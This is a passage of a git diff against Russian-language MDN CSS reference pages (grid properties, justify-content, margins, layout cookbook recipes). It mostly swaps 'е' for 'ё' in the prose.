      Если заданы четыре значения <grid-line> , то первое значение определяет grid-row-start , второе значение -  grid-column-start , третье значение -  grid-row-end и четвёртое значение -  grid-column-end.

      Если  grid-column-end опущено, а grid-column-start в значении {{cssxref("<custom-ident>")}}, grid-column-end устанавливается в это значение <custom-ident>; иначе оно устанавливается в значение auto.

      diff --git a/files/ru/web/css/grid-auto-flow/index.html b/files/ru/web/css/grid-auto-flow/index.html index 35d6789975..226db2bb76 100644 --- a/files/ru/web/css/grid-auto-flow/index.html +++ b/files/ru/web/css/grid-auto-flow/index.html @@ -35,9 +35,9 @@ grid-auto-flow: unset;
      row
      -
      Ключевое слово, указывающее размещать элементы, заполняя поочередно каждую строку и добавляя новые строки по мере необходимости. Это значение используется по умолчанию.
      +
      Ключевое слово, указывающее размещать элементы, заполняя поочерёдно каждую строку и добавляя новые строки по мере необходимости. Это значение используется по умолчанию.
      column
      -
      Ключевое слово, указывающее размещать элементы, заполняя поочередно каждый столбец и добавляя новые столбцы по мере необходимости.
      +
      Ключевое слово, указывающее размещать элементы, заполняя поочерёдно каждый столбец и добавляя новые столбцы по мере необходимости.
      dense
      Ключевое слово, указывающее заполнять элементами свободное пространство сетки. Это может привести к нарушению порядка, т.к. элементы будут выстраиваться не в соответствии со своим расположением, а в соответствии с размером.

      diff --git a/files/ru/web/css/grid-row-start/index.html b/files/ru/web/css/grid-row-start/index.html index 15559e4134..5817eef381 100644 --- a/files/ru/web/css/grid-row-start/index.html +++ b/files/ru/web/css/grid-row-start/index.html @@ -55,7 +55,7 @@ grid-row-start: unset;

      В противном случае это обрабатывается так, как если бы целое число 1 было указано вместе с <custom-ident>.

      <integer> && <custom-ident>?
      -
      Вносит n-ю линию сетки в размещение элемента сетки. Если задано отрицательное целое число, вместо этого начинается обратный отсчет, начиная с конечного края явной сетки. Если имя задано как <custom-ident>, подсчитываются только строки с этим именем. Если существует недостаточно строк с таким именем, предполагается, что все неявные линии сетки имеют это имя для нахождения этой позиции.
      +
      Вносит n-ю линию сетки в размещение элемента сетки. Если задано отрицательное целое число, вместо этого начинается обратный отсчёт, начиная с конечного края явной сетки. Если имя задано как <custom-ident>, подсчитываются только строки с этим именем. Если существует недостаточно строк с таким именем, предполагается, что все неявные линии сетки имеют это имя для нахождения этой позиции.

      An {{cssxref("integer")}} value of 0 is invalid.

      diff --git a/files/ru/web/css/grid-template-areas/index.html b/files/ru/web/css/grid-template-areas/index.html index 6827415b30..3e9a83e744 100644 --- a/files/ru/web/css/grid-template-areas/index.html +++ b/files/ru/web/css/grid-template-areas/index.html @@ -33,7 +33,7 @@ grid-template-areas: unset;
      none
      Контейнер не определяет никаких названий grid-области.
      {{cssxref("<string>")}}+
      -
      Строка создается каждым переносом строки, тогда как каждая колонка создается в каждой из созданных строк. Несколько прописанных маркеров в строке или через строки создает одну названную grid-область что покрывает соответствующие ячейки. Прописанные ячейки которые не создают прямоугольник - являются недействительны.
      +
      Строка создаётся каждым переносом строки, тогда как каждая колонка создаётся в каждой из созданных строк. Несколько прописанных маркеров в строке или через строки создаёт одну названную grid-область что покрывает соответствующие ячейки. Прописанные ячейки которые не создают прямоугольник - являются недействительны.

      Формальный синтаксис

      diff --git a/files/ru/web/css/grid-template-columns/index.html b/files/ru/web/css/grid-template-columns/index.html index fda2e71bb3..546a42ed31 100644 --- a/files/ru/web/css/grid-template-columns/index.html +++ b/files/ru/web/css/grid-template-columns/index.html @@ -59,9 +59,9 @@ grid-template-columns: unset;
      min-content
      Ключевое слово обозначающее самый большой из минимальных контентов элементов расположенных в данном треке.
      {{cssxref("minmax", "minmax(min, max)")}}
      -
      Функциональное обозначение, которое задает диапазон больший или равный min и меньший или равный max. Если max меньше чем min, тогда max игнорируется и эта функция рассматривается как min. Максимумом значение <flex> устанавливает flex фактор линии (track’s flex factor). Оно не действительно как минимальное.
      +
      Функциональное обозначение, которое задаёт диапазон больший или равный min и меньший или равный max. Если max меньше чем min, тогда max игнорируется и эта функция рассматривается как min. Максимумом значение <flex> устанавливает flex фактор линии (track’s flex factor). Оно не действительно как минимальное.
      auto
      -
      Это ключевое слово идентично max-content, если оно максимальное. Как минимальное, оно представляет наиболее минимальный размер (который определен в свойствах {{cssxref("min-width")}}/{{cssxref("min-height")}}) элементов сетки, занимающих данный трек.
      +
      Это ключевое слово идентично max-content, если оно максимальное. Как минимальное, оно представляет наиболее минимальный размер (который определён в свойствах {{cssxref("min-width")}}/{{cssxref("min-height")}}) элементов сетки, занимающих данный трек.

      Обратите внимание: Только auto размеры трека могут быть растянуты свойствами {{cssxref("align-content")}} и {{cssxref("justify-content")}}.

      diff --git a/files/ru/web/css/grid-template-rows/index.html b/files/ru/web/css/grid-template-rows/index.html index a6d1c4b36b..e4343f33b6 100644 --- a/files/ru/web/css/grid-template-rows/index.html +++ b/files/ru/web/css/grid-template-rows/index.html @@ -52,7 +52,7 @@ grid-template-rows: unset;
      <length>
      Неотрицательное значение размера.
      <percentage>
      -
      Неотрицательное значение {{cssxref("percentage", "<percentage>")}} , относительно размера блока сетки контейнера. Если размер сетки контейнера зависит от размера его пути, то процент должен рассматриваться как auto. Собственный размер вкладов пути может быть скорректирован в соответствии с размером сетки контейнера и увеличить конечный размер пути на минимальную величину, которая привела бы к учету процента.
      +
      Неотрицательное значение {{cssxref("percentage", "<percentage>")}} , относительно размера блока сетки контейнера. Если размер сетки контейнера зависит от размера его пути, то процент должен рассматриваться как auto. Собственный размер вкладов пути может быть скорректирован в соответствии с размером сетки контейнера и увеличить конечный размер пути на минимальную величину, которая привела бы к учёту процента.

      {{cssxref("<flex_value>","<flex>")}}
      Is a non-negative dimension with the unit fr specifying the track’s flex factor. Each <flex>-sized track takes a share of the remaining space in proportion to its flex factor. When appearing outside a minmax() notation, it implies an automatic minimum (i.e. minmax(auto, <flex>)).
      diff --git a/files/ru/web/css/grid/index.html b/files/ru/web/css/grid/index.html index 5ae9d4a987..35d648aa50 100644 --- a/files/ru/web/css/grid/index.html +++ b/files/ru/web/css/grid/index.html @@ -10,9 +10,9 @@ translation_of: Web/CSS/grid ---

      Общие сведения

      -

      Свойство CSS grid является сокращенной формой записи, которая  устанавливает значения для всех явных свойств сетки  (grid)  ({{cssxref("grid-template-rows")}}, {{cssxref("grid-template-columns")}},  и {{cssxref("grid-template-areas")}}), всех неявных свойств сетки (grid) ({{cssxref("grid-auto-rows")}}, {{cssxref("grid-auto-columns")}}, и {{cssxref("grid-auto-flow")}}), и свойств для промежутков между рядами и столбцами сетки ({{cssxref("grid-column-gap")}} и {{cssxref("grid-row-gap")}}) в одной строчке.

      +

      Свойство CSS grid является сокращённой формой записи, которая  устанавливает значения для всех явных свойств сетки  (grid)  ({{cssxref("grid-template-rows")}}, {{cssxref("grid-template-columns")}},  и {{cssxref("grid-template-areas")}}), всех неявных свойств сетки (grid) ({{cssxref("grid-auto-rows")}}, {{cssxref("grid-auto-columns")}}, и {{cssxref("grid-auto-flow")}}), и свойств для промежутков между рядами и столбцами сетки ({{cssxref("grid-column-gap")}} и {{cssxref("grid-row-gap")}}) в одной строчке.

      -

      Note: В одной строке grid могут быть описаны свойства только одного вида: явные или неявные. Подсвойства, которые не были описаны, принимают, как и в других сокращенных формах записи свойств, значения по умолчанию. Кроме того, при помощи сокращенной формы записи значения свойств для промежутков между рядами и столбцами сетки по умолчанию сбрасываются, несмотря на то, что они не могут быть установлены в сокращенной форме записи.

      +

      Note: В одной строке grid могут быть описаны свойства только одного вида: явные или неявные. Подсвойства, которые не были описаны, принимают, как и в других сокращённых формах записи свойств, значения по умолчанию. Кроме того, при помощи сокращённой формы записи значения свойств для промежутков между рядами и столбцами сетки по умолчанию сбрасываются, несмотря на то, что они не могут быть установлены в сокращённой форме записи.

      {{cssinfo}}

      @@ -176,7 +176,7 @@ grid: unset;

      [2] Реализован за преимуществом layout.css.grid.enabled начиная с Gecko 40.0 {{geckoRelease("40.0")}}, имея значение по умолчанию false. Начиная с  Gecko 52.0 включено по умолчанию.

      -

      [3] Internet Explorer и Edge реализуют старую версию спецификации, которая не поддерживает сокращенную форму записи grid. Смотри request for updating the implementation.

      +

      [3] Internet Explorer и Edge реализуют старую версию спецификации, которая не поддерживает сокращённую форму записи grid. Смотри request for updating the implementation.

      [4] Реализован до  функциональных возможностей экспериментальной веб-платформы в chrome://flags начиная с Opera 28.0.

      diff --git a/files/ru/web/css/hanging-punctuation/index.html b/files/ru/web/css/hanging-punctuation/index.html index 15aee9db7b..b150404bab 100644 --- a/files/ru/web/css/hanging-punctuation/index.html +++ b/files/ru/web/css/hanging-punctuation/index.html @@ -37,7 +37,7 @@ hanging-punctuation: unset;

      Синтаксис

      -

      Свойство hanging-punctuation  может быть определено с помощью одного, двух или трех ключевых слов.

      +

      Свойство hanging-punctuation  может быть определено с помощью одного, двух или трёх ключевых слов.

      • Для одного значения может быть использовано любое из описанных ниже значений.
      • @@ -47,7 +47,7 @@ hanging-punctuation: unset;
      • last вместе с одним из first, allow-end или force-end
      -
    • Для трех значений используются один из следующих вариантов: +
    • Для трёх значений используются один из следующих вариантов:
      • first, allow-end и last
      • first, force-end и last
      • diff --git a/files/ru/web/css/hyphens/index.html b/files/ru/web/css/hyphens/index.html index 5a256e224d..6bf95b2456 100644 --- a/files/ru/web/css/hyphens/index.html +++ b/files/ru/web/css/hyphens/index.html @@ -53,7 +53,7 @@ hyphens: unset;
        U+2010 (HYPHEN)
        -
        «Жесткий» дефис указывает на возможность видимого разрыва строки. Даже если строка в этом месте не переносится, дефис все равно отображается.
        +
        «Жёсткий» дефис указывает на возможность видимого разрыва строки. Даже если строка в этом месте не переносится, дефис все равно отображается.
        U+00AD (SHY)
        Невидимый «мягкий» перенос. Этот символ не отображается визуально, вместо этого он отмечает место, где браузер должен разорвать слово, если расстановка переносов необходима. В HTML, используйте &shy; для вставки мягкого дефиса.
        diff --git a/files/ru/web/css/image-set()/index.html b/files/ru/web/css/image-set()/index.html index f837d98a4b..9f00bc8ca7 100644 --- a/files/ru/web/css/image-set()/index.html +++ b/files/ru/web/css/image-set()/index.html @@ -34,7 +34,7 @@ translation_of: Web/CSS/image-set()

        Вопросы доступности

        -

        Браузеры не предоставляют никакой специальной информации о фоновых изображениях для вспомогательных технологий. Это важно прежде всего для экранных считывающих технологий, так как они не объявят о своем присутствии и поэтому ничего не передадут своим пользователям. Если изображение содержит информацию, критически важную для понимания общего назначения страницы, лучше описать ее семантически в документе.

        +

        Браузеры не предоставляют никакой специальной информации о фоновых изображениях для вспомогательных технологий. Это важно прежде всего для экранных считывающих технологий, так как они не объявят о своём присутствии и поэтому ничего не передадут своим пользователям. Если изображение содержит информацию, критически важную для понимания общего назначения страницы, лучше описать её семантически в документе.

        • MDN Understanding WCAG, Guideline 1.1 explanations
        • diff --git a/files/ru/web/css/index.html b/files/ru/web/css/index.html index 128ae1fda3..eb959f3866 100644 --- a/files/ru/web/css/index.html +++ b/files/ru/web/css/index.html @@ -8,7 +8,7 @@ tags: - Learning - Reference - Référence(2) - - Верстка + - Вёрстка - Главная - Дизайн - Справка diff --git a/files/ru/web/css/inherit/index.html b/files/ru/web/css/inherit/index.html index 5304dc4d9d..b24d30e524 100644 --- a/files/ru/web/css/inherit/index.html +++ b/files/ru/web/css/inherit/index.html @@ -24,10 +24,10 @@ translation_of: Web/CSS/inherit

          Пример

          -
          /* Делает заголовки второго уровня зелеными */
          +
          /* Делает заголовки второго уровня зелёными */
           h2 { color: green; }
           
          -/* ...но не делает зелеными элементы боковой панели, которые используют цвет своего родителя */
          +/* ...но не делает зелёными элементы боковой панели, которые используют цвет своего родителя */
           #sidebar h2 { color: inherit; }
           
          @@ -83,5 +83,5 @@ div#current { color: blue; }
        • Используйте {{cssxref("initial")}}, чтобы установить свойство в его начальное значение.
        • Используйте {{cssxref("unset")}}, чтобы установить свойство в его унаследованное значение, если оно наследует, или его начальное значение, если нет.
        • Используйте {{cssxref("revert")}} для сброса свойства до значения, установленного таблицей стилей пользователя-агента (или стилями пользователя, если они существуют).
        • -
        • Свойство {{cssxref("all")}} позволяет сбросить все свойства сразу до начального (initial), унаследованного (inherited), возвращенного (reverted) или неустановленного (unset) состояния.
        • +
        • Свойство {{cssxref("all")}} позволяет сбросить все свойства сразу до начального (initial), унаследованного (inherited), возвращённого (reverted) или неустановленного (unset) состояния.
        diff --git a/files/ru/web/css/initial/index.html b/files/ru/web/css/initial/index.html index 65187f0ab5..5bc7850151 100644 --- a/files/ru/web/css/initial/index.html +++ b/files/ru/web/css/initial/index.html @@ -79,5 +79,5 @@ em {
      • Используйте {{cssxref("unset")}}, чтобы установить свойство в его унаследованное значение, если оно наследует, или его начальное значение, если нет.
      • Используйте {{cssxref("revert")}} для сброса свойства до значения, установленного таблицей стилей пользователя-агента (или стилями пользователя, если они существуют).
      • Используйте свойство {{cssxref("inherit")}}, чтобы установить свойство элемента таким же значением, как у его родителя.
      • -
      • Свойство {{cssxref("all")}} позволяет сбросить все свойства сразу до начального (initial), унаследованного (inherited), возвращенного (reverted) или неустановленного (unset) состояния.
      • +
      • Свойство {{cssxref("all")}} позволяет сбросить все свойства сразу до начального (initial), унаследованного (inherited), возвращённого (reverted) или неустановленного (unset) состояния.
      diff --git a/files/ru/web/css/inset/index.html b/files/ru/web/css/inset/index.html index 8cbf51bf1d..88071325e5 100644 --- a/files/ru/web/css/inset/index.html +++ b/files/ru/web/css/inset/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/inset ---
      {{CSSRef}}{{SeeCompatTable}}
      -

      Свойство CSS inset определяет логический блок и встроенные начальное и конечное смещения элемента, которые отображают физическое смещение, зависящее от способа записи, направления и ориентации текста. Оно соответствует свойствам  {{cssxref("top")}} и {{cssxref("bottom")}}, или {{cssxref("right")}} и {{cssxref("left")}}, в зависимости от значений, определенных для {{cssxref("writing-mode")}}, {{cssxref("direction")}}, и {{cssxref("text-orientation")}}.

      +

      Свойство CSS inset определяет логический блок и встроенные начальное и конечное смещения элемента, которые отображают физическое смещение, зависящее от способа записи, направления и ориентации текста. Оно соответствует свойствам  {{cssxref("top")}} и {{cssxref("bottom")}}, или {{cssxref("right")}} и {{cssxref("left")}}, в зависимости от значений, определённых для {{cssxref("writing-mode")}}, {{cssxref("direction")}}, и {{cssxref("text-orientation")}}.

      /* <length> значения */
       inset: 3px 10px 3px 10px;
      diff --git a/files/ru/web/css/integer/index.html b/files/ru/web/css/integer/index.html
      index c608250e6c..a7240a3e81 100644
      --- a/files/ru/web/css/integer/index.html
      +++ b/files/ru/web/css/integer/index.html
      @@ -33,7 +33,7 @@ translation_of: Web/CSS/integer
       
       
      12.0        Это <number>, а не <integer>, хоть и представляется как целое число.
       12.         "Дробные" точки запрещены.
      -+---12      Разрешен только один предшествующий символ +/-.
      ++---12      Разрешён только один предшествующий символ +/-.
       десять      Буквы запрещены.
       _5          Специальные знаки запрещены.
       \35         Экранированные символы Юникода запрещены, даже если они являются целым числом (здесь: 5).
      diff --git a/files/ru/web/css/isolation/index.html b/files/ru/web/css/isolation/index.html
      index 52deb89e55..7153c6f925 100644
      --- a/files/ru/web/css/isolation/index.html
      +++ b/files/ru/web/css/isolation/index.html
      @@ -3,7 +3,7 @@ title: isolation
       slug: Web/CSS/isolation
       tags:
         - Контекст наложения
      -  - Очередность
      +  - Очерёдность
         - Порядок отрисовки
       translation_of: Web/CSS/isolation
       ---
      @@ -35,7 +35,7 @@ isolation: unset;
       
       
      auto
      -
      Новый контекст наложения создается только в том случае, если это требуется для одного из свойств, применяемых к элементу.
      +
      Новый контекст наложения создаётся только в том случае, если это требуется для одного из свойств, применяемых к элементу.
      isolate
      Новый контекст наложения должен быть создан.
      diff --git a/files/ru/web/css/justify-content/index.html b/files/ru/web/css/justify-content/index.html index ab44ce45bb..33263a5442 100644 --- a/files/ru/web/css/justify-content/index.html +++ b/files/ru/web/css/justify-content/index.html @@ -14,7 +14,7 @@ translation_of: Web/CSS/justify-content

      {{EmbedInteractiveExample("pages/css/justify-content.html")}}

      -

      Выравнивание выполняется после того, как применяются длины и автоматические поля, что означает, что если во Flexbox разметке есть хотя бы один flex-элемент, с {{cssxref("flex-grow")}} отличным от 0, эффект не будет применен, потому что не останется свободного места.

      +

      Выравнивание выполняется после того, как применяются длины и автоматические поля, что означает, что если во Flexbox разметке есть хотя бы один flex-элемент, с {{cssxref("flex-grow")}} отличным от 0, эффект не будет применён, потому что не останется свободного места.

      Синтаксис

      @@ -32,7 +32,7 @@ justify-content: baseline; justify-content: first baseline; justify-content: last baseline; -/* Распределенное выравнивание */ +/* Распределённое выравнивание */ justify-content: space-between; /* Равномерно распределяет все элементы по ширине flex-блока.   Первый элемент вначале, последний в конце */ justify-content: space-around; /* Равномерно распределяет все элементы по ширине flex-блока. @@ -74,7 +74,7 @@ justify-content: unset;
      right
      Элементы располагаются друг за другом и прижимаются к правому краю контейнера по главной оси. Если главная ось не горизонтальна, это значение работает как  start.
      normal
      -
      Элементы располагаются на своих обычных позициях, так как будто свойство justify-content не задано. Этот параметр ведет себя как stretch в grid и flex контейнерах.
      +
      Элементы располагаются на своих обычных позициях, так как будто свойство justify-content не задано. Этот параметр ведёт себя как stretch в grid и flex контейнерах.
      baseline
      first baseline

      last baseline
      diff --git a/files/ru/web/css/justify-items/index.html b/files/ru/web/css/justify-items/index.html index 4e28a766e9..e33b891277 100644 --- a/files/ru/web/css/justify-items/index.html +++ b/files/ru/web/css/justify-items/index.html @@ -65,7 +65,7 @@ justify-items: initial; justify-items: unset;
      -

      Этот атрибут может принимать одну из четырех различных форм:

      +

      Этот атрибут может принимать одну из четырёх различных форм:

      • Основные ключевые слова: одно из значений ключевого слова: normal, auto, или stretch.
      • @@ -83,10 +83,10 @@ justify-items: unset;
        Эффект этого атрибута зависит от выбранного способа разметки:
        • Используя разметку с помощью блоков (block-level layout), это ключевое слово является синонимом слова start
        • -
        • Для разметки с абсолютно позиционированный элементами, это ключевое слово ведет себя как start на замененных блоках с абсолютным позиционированием и как stretch на всех остальных блоках с абсолютным позиционированием
        • +
        • Для разметки с абсолютно позиционированный элементами, это ключевое слово ведёт себя как start на заменённых блоках с абсолютным позиционированием и как stretch на всех остальных блоках с абсолютным позиционированием
        • Используя разметку с помощью ячеек таблицы (table cell layout), это ключевое слово не имеет значения, так как этот атрибут игнорируется
        • Используя разметку с помощью гибких блоков (flexbox layout), это ключевое слово не имеет значения, так как этот атрибут игнорируется
        • -
        • Используя разметку с помощью сетки (grid layout), это ключевое слово приводит к поведению, аналогичному поведению stretch, за исключением блоков с соотношением сторон или внутренних размеров, где оно ведет себя как start
        • +
        • Используя разметку с помощью сетки (grid layout), это ключевое слово приводит к поведению, аналогичному поведению stretch, за исключением блоков с соотношением сторон или внутренних размеров, где оно ведёт себя как start
        start
        @@ -104,22 +104,22 @@ justify-items: unset;
        center
        Элементы выравниваются на одном уровне друг с другом по направлению к центру контейнера выравнивания.
        left
        -
        Элементы выравниваются на одном уровне друг с другом по направлению к левой границе контейнера выравнивания. Если ось свойства не параллельна внутренней оси, это значение ведет себя как start.
        +
        Элементы выравниваются на одном уровне друг с другом по направлению к левой границе контейнера выравнивания. Если ось свойства не параллельна внутренней оси, это значение ведёт себя как start.
        right
        -
        Элементы выравниваются на одном уровне друг с другом по направлению к правой границе контейнера выравнивания по соответствующей оси. Если ось свойства не параллельна внутренней оси, это значение ведет себя как start.
        +
        Элементы выравниваются на одном уровне друг с другом по направлению к правой границе контейнера выравнивания по соответствующей оси. Если ось свойства не параллельна внутренней оси, это значение ведёт себя как start.
        baseline
        first baseline

        last baseline
        Определяет участие значений first baseline или last baseline в исходном выравнивании. Значение baseline выравнивает первый или последний блок набора в соответствии с исходным выравниванием в общем первом или последнем наборе всех блоков в его совместной группе исходного выравнивания.
        Возвратным выравниванием для first baseline является значение start, для last baseline является значение end.
        stretch
        -
        Если объединенный размер элементов меньше, чем размер контейнера выравнивания, то размер любого элемента со значением auto увеличивается одинаково (не пропорционально), но при этом соблюдаются ограничения, налагаемые {{CSSxRef("max-height")}}/{{CSSxRef("max-width")}} (или эквивалентной функциональностью), таким образом, что объединенный размер точно заполняет контейнер выравнивания.
        +
        Если объединённый размер элементов меньше, чем размер контейнера выравнивания, то размер любого элемента со значением auto увеличивается одинаково (не пропорционально), но при этом соблюдаются ограничения, налагаемые {{CSSxRef("max-height")}}/{{CSSxRef("max-width")}} (или эквивалентной функциональностью), таким образом, что объединённый размер точно заполняет контейнер выравнивания.
        safe
        Если размер элемента выходит за пределы контейнера выравнивания, элемент выравнивается, как если бы режим выравнивания имел значение start.
        unsafe
        Независимо от относительных размеров элемента и контейнера выравнивания, данное значение выравнивания учитывается.
        legacy
        -
        Создает значение, унаследованное потомками блока. Обратите внимание, что если потомок имеет значение justify-self: auto, ключевое слово legacy не учитывается по нисходящему наследованию. Действует только со значением left, right, или center, связанным с ним.
        +
        Создаёт значение, унаследованное потомками блока. Обратите внимание, что если потомок имеет значение justify-self: auto, ключевое слово legacy не учитывается по нисходящему наследованию. Действует только со значением left, right, или center, связанным с ним.
    • Формальный синтаксис

      @@ -164,7 +164,7 @@ justify-items: unset; diff --git a/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html b/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html index 6dab482257..ee254f16d9 100644 --- a/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html +++ b/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/Layout_cookbook/Breadcrumb_Navigation ---
      {{CSSRef}}
      -

      Навигация по хлебным крошкам помогает пользователю понять свое местоположение на веб-сайте, обеспечивая обратный путь к начальной странице.

      +

      Навигация по хлебным крошкам помогает пользователю понять своё местоположение на веб-сайте, обеспечивая обратный путь к начальной странице.

      Links displayed inline with separators

      @@ -22,7 +22,7 @@ translation_of: Web/CSS/Layout_cookbook/Breadcrumb_Navigation
      -

      Примечание: В приведенном выше примере используются два селектора для вставки содержимого перед каждым li, кроме первого. Этого также можно добиться, используя только один селектор:

      +

      Примечание: В приведённом выше примере используются два селектора для вставки содержимого перед каждым li, кроме первого. Этого также можно добиться, используя только один селектор:

      .breadcrumb li:not(:first-child)::before {
         content: "→";
      diff --git a/files/ru/web/css/layout_cookbook/index.html b/files/ru/web/css/layout_cookbook/index.html
      index ca19142c28..898ba58672 100644
      --- a/files/ru/web/css/layout_cookbook/index.html
      +++ b/files/ru/web/css/layout_cookbook/index.html
      @@ -11,12 +11,12 @@ tags:
       translation_of: Web/CSS/Layout_cookbook
       ---
       
      {{CSSRef}}
      -Книга рецептов CSS объединяет примеры большинства наиболее распространенных лейаут паттернов, которые могу встретиться вам при разработке веб-сайтов.
      +Книга рецептов CSS объединяет примеры большинства наиболее распространённых лейаут паттернов, которые могу встретиться вам при разработке веб-сайтов.

      В дополнение к представленным примерам кода, - которые вы вполне можете использовать в качестве отправной точки для своих проектов, - эти рецепты иллюстрируют нестандартные способы применения существующих лейаут (layout) спецификаций. Паттерны, представленные ниже, должны помочь вам увидеть новые варианты решения проблем, встречающихся в жизни разработчика.

      -Примечание. Если вы новичок в в работе с CSS, то сначала вы можете взглянуть на наш модуль обучения макетам CSS, так как он даст вам базовые знания, необходимые для использования приведенных здесь рецептов.
      +Примечание. Если вы новичок в в работе с CSS, то сначала вы можете взглянуть на наш модуль обучения макетам CSS, так как он даст вам базовые знания, необходимые для использования приведённых здесь рецептов.

      The Recipes

      diff --git a/files/ru/web/css/layout_cookbook/split_navigation/index.html b/files/ru/web/css/layout_cookbook/split_navigation/index.html index 5f08999af1..c6b66d5e2f 100644 --- a/files/ru/web/css/layout_cookbook/split_navigation/index.html +++ b/files/ru/web/css/layout_cookbook/split_navigation/index.html @@ -11,7 +11,7 @@ translation_of: Web/CSS/Layout_cookbook/Split_Navigation

      Требования

      -

      Распространенный навигационный шаблон имеет один элемент, который отделен от остальных. Мы можем использовать Flexbox для того, чтобы сделать это, без необходимости создавать два набора элементов в двух раздельных flex контейнерах. 

      +

      Распространённый навигационный шаблон имеет один элемент, который отделен от остальных. Мы можем использовать Flexbox для того, чтобы сделать это, без необходимости создавать два набора элементов в двух раздельных flex контейнерах. 

      Рецепт

      diff --git a/files/ru/web/css/layout_cookbook/sticky_footers/index.html b/files/ru/web/css/layout_cookbook/sticky_footers/index.html index 945d727438..d5cc1a5c97 100644 --- a/files/ru/web/css/layout_cookbook/sticky_footers/index.html +++ b/files/ru/web/css/layout_cookbook/sticky_footers/index.html @@ -33,7 +33,7 @@ translation_of: Web/CSS/Layout_cookbook/Sticky_footers

      Выбор сделан

      -

      В приведенном выше примере мы получаем липкий нижний колонтитул, используя CSS Grid Layout. Класс .wrapper имеет минимальную высоту 100%, что означает, что он такой же высоты, как и контейнер, в котором он находится. Затем мы создаем сетку с одним столбцом с тремя строками, по одной строке для каждой части нашего макета.

      +

      В приведённом выше примере мы получаем липкий нижний колонтитул, используя CSS Grid Layout. Класс .wrapper имеет минимальную высоту 100%, что означает, что он такой же высоты, как и контейнер, в котором он находится. Затем мы создаём сетку с одним столбцом с тремя строками, по одной строке для каждой части нашего макета.

      При автоматическом размещении сетки наши элементы будут располагаться в исходном порядке, поэтому заголовок переходит на первую дорожку с автоматическими размерами, основное содержимое - на дорожку 1fr, а нижний колонтитул - в конечную дорожку с автоматическими размерами. Трек 1fr будет занимать все доступное пространство и поэтому будет увеличиваться, чтобы заполнить этот пробел.

      diff --git a/files/ru/web/css/line-break/index.html b/files/ru/web/css/line-break/index.html index 77a60084f0..3fd8255f5a 100644 --- a/files/ru/web/css/line-break/index.html +++ b/files/ru/web/css/line-break/index.html @@ -33,7 +33,7 @@ line-break: unset;
      loose
      Разрыв текста, используя правило разрыва строки с наименьшими ограничениями. Обычно используется для коротких строк, например, в газетах.
      normal
      -
      Разрыв текста, используя наиболее распространенное правило разрыва строки.
      +
      Разрыв текста, используя наиболее распространённое правило разрыва строки.
      strict
      Разрыв текста, используя самое строгое правило разрыва строки.
      diff --git a/files/ru/web/css/list-style-image/index.html b/files/ru/web/css/list-style-image/index.html index fd53b2bf17..75ab704334 100644 --- a/files/ru/web/css/list-style-image/index.html +++ b/files/ru/web/css/list-style-image/index.html @@ -40,7 +40,7 @@ list-style-image: unset;
      {{cssxref("<url>")}}
      Расположение элемента для использования в качестве маркера.
      none
      -
      Указывает, что изображение не используется в качестве маркера списка. Если установлено это значение, вместо него будет использоваться маркер, определенный в {{ Cssxref("list-style-type") }}.
      +
      Указывает, что изображение не используется в качестве маркера списка. Если установлено это значение, вместо него будет использоваться маркер, определённый в {{ Cssxref("list-style-type") }}.

      Формальный синтаксис

      diff --git a/files/ru/web/css/margin-inline-start/index.html b/files/ru/web/css/margin-inline-start/index.html index 5021330969..cc9db43bce 100644 --- a/files/ru/web/css/margin-inline-start/index.html +++ b/files/ru/web/css/margin-inline-start/index.html @@ -13,7 +13,7 @@ translation_of: Web/CSS/margin-inline-start ---

      {{CSSRef}}{{SeeCompatTable}}

      -

      Свойство margin-inline-start CSS задает логическое строковое (inline)  значение start margin элемента, которое сопоставляется с физическим значением margin в зависимости от режима записи (writing_mode) элемента, направленности и ориентации текста. Это логическое свойство соответствует одному из свойств {{cssxref("margin-top")}},  {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}}, or {{cssxref("margin-left")}} в зависимости от значений {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}}.

      +

      Свойство margin-inline-start CSS задаёт логическое строковое (inline)  значение start margin элемента, которое сопоставляется с физическим значением margin в зависимости от режима записи (writing_mode) элемента, направленности и ориентации текста. Это логическое свойство соответствует одному из свойств {{cssxref("margin-top")}},  {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}}, or {{cssxref("margin-left")}} в зависимости от значений {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}}.

      /* <length> values */
       margin-inline-start: 10px;  /* абсолютная величина */
      diff --git a/files/ru/web/css/margin-left/index.html b/files/ru/web/css/margin-left/index.html
      index ae301e9b36..870fe59a5d 100644
      --- a/files/ru/web/css/margin-left/index.html
      +++ b/files/ru/web/css/margin-left/index.html
      @@ -41,7 +41,7 @@ margin-left: unset;
        
      {{cssxref("<percentage>")}}
      Размер отступа в процентах - размер относительно длины родительского блока.
      auto
      -
      Внешний отступ слева получает долю неиспользованного горизонтального пространства, определяется в основном выбранным способом разметки. Если значения margin-left и margin-right одновременно установлены как auto, расчетное пространство распределяется равномерно. Эта таблица кратко излагает различные: +
      Внешний отступ слева получает долю неиспользованного горизонтального пространства, определяется в основном выбранным способом разметки. Если значения margin-left и margin-right одновременно установлены как auto, расчётное пространство распределяется равномерно. Эта таблица кратко излагает различные: diff --git a/files/ru/web/css/margin-right/index.html b/files/ru/web/css/margin-right/index.html index d21ce8cdfd..e8fbfc332f 100644 --- a/files/ru/web/css/margin-right/index.html +++ b/files/ru/web/css/margin-right/index.html @@ -41,7 +41,7 @@ margin-right: unset;
      {{cssxref("<percentage>")}}
      Размер отступа в процентах - размер относительно длины родительского блока.
      auto
      -
      Внешний отступ слева получает долю неиспользованного горизонтального пространства, определяется в основном выбранным способом разметки. Если значения margin-left и margin-right одновременно установлены как auto, расчетное пространство распределяется равномерно. Эта таблица кратко излагает различные: +
      Внешний отступ слева получает долю неиспользованного горизонтального пространства, определяется в основном выбранным способом разметки. Если значения margin-left и margin-right одновременно установлены как auto, расчётное пространство распределяется равномерно. Эта таблица кратко излагает различные:
      diff --git a/files/ru/web/css/margin/index.html b/files/ru/web/css/margin/index.html index 62c2f9ec7a..8841f9ed8c 100644 --- a/files/ru/web/css/margin/index.html +++ b/files/ru/web/css/margin/index.html @@ -11,7 +11,7 @@ translation_of_original: Web/CSS/margin-new ---
